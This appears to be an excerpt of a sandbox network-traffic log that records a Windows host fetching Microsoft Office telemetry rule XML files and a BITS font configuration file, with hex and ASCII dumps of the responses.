2024-11-09 21:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 7ed01a47-b01e-0002-697e-321b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210932Z-17df447cdb54qlp6hC1DFWqcfc000000080g000000006kq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49743	2.19.244.127	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:32 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-09 21:09:32 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=156953 Date: Sat, 09 Nov 2024 21:09:32 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:32 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: bfc5cfc9-a01e-0070-0546-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210932Z-15869dbbcc6bdtw9hC1DFW9m4s00000003vg000000001aaf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:32 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1c98c384-301e-0096-1749-32e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210932Z-15869dbbcc6sg5zbhC1DFWy5u800000003n000000000bpzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:32 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:32 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: a9551dca-101e-0034-25a3-3196ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210932Z-17df447cdb5vp9l9hC1DFW5hw800000003p0000000006s92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:32 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:33 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:33 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 9ed27c23-f01e-0020-6955-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210933Z-15869dbbcc6zbpm7hC1DFW75xg00000004x000000000fqzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:33 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:33 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210933Z-16547b76f7f775p5hC1DFWzdvn0000000bn000000000f9rz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:33 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210933Z-16547b76f7fj5p7mhC1DFWf8w40000000bw0000000001znd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:33 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210933Z-16547b76f7flf9g6hC1DFWmcx8000000027000000000bmkn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49755	2.19.244.127	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:33 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-09 21:09:33 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=156960 Date: Sat, 09 Nov 2024 21:09:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-09 21:09:33 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:33 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: a8afc4dd-a01e-0053-3962-328603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210934Z-17df447cdb59mt7dhC1DFWqpg400000007vg00000000nb6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:34 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:34 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 96f46cd9-101e-000b-6da2-315e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210934Z-17df447cdb54qlp6hC1DFWqcfc0000000810000000004zan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:34 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:34 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210934Z-16547b76f7f7lhvnhC1DFWa2k00000000bfg00000000pnh8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

